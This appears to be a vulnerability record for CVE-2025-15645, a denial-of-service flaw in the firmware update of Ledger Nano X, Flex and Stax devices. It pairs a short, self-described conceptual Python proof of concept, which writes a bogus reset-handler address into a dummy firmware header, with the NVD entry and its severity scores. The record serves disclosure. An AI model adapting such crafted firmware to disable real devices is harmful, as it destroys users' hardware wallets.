CVE-2025-15645

import struct # Conceptual PoC for CVE-2025-15645 # This script demonstrates how to craft a malicious firmware header # by modifying the reset_handler address to an invalid value. # Original firmware binary data (simulated) firmware_data = b'\x00' * 0x200 # Dummy header # Invalid memory address to cause crash (e.g., 0xDEADBEEF) # In a real scenario, this would be an address outside valid RAM/Flash malicious_reset_handler = 0xDEADBEEF # Pack the address into little-endian format (assuming 32-bit MCU) # Offset 0x04 is typically where the Reset Handler vector is in ARM Cortex-M offset_reset_handler = 0x04 malicious_bytes = struct.pack('<I', malicious_reset_handler) # Inject the malicious address into the firmware header crafted_firmware = firmware_data[:offset_reset_handler] + malicious_bytes + firmware_data[offset_reset_handler+4:] print("[+] Malicious firmware header crafted.") print(f"[+] Reset Handler set to: 0x{malicious_reset_handler:08X}") print("[*] If flashed, the device will attempt to jump to this address on boot and crash.") # Save the crafted firmware (simulated) with open("malicious_ledger_update.bin", "wb") as f: f.write(crafted_firmware)

{"cve": {"id": "CVE-2025-15645", "sourceIdentifier": "[email protected]", "published": "2026-05-19T22:16:36.187", "lastModified": "2026-05-20T14:16:36.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ledger Nano X, Flex, and Stax devices contain a denial of service vulnerability in the MCU firmware update process due to missing validation of the reset_handler parameter during firmware flashing. An attacker can provide a crafted reset_handler address pointing to invalid memory or attacker-controlled code to cause the device to enter an unrecoverable fault state during boot, resulting in permanent loss of operability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://donjon.ledger.com/lsb/021/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ledger-nano-x-flex-stax-mcu-firmware-update-denial-of-service", "source": "[email protected]"}]}}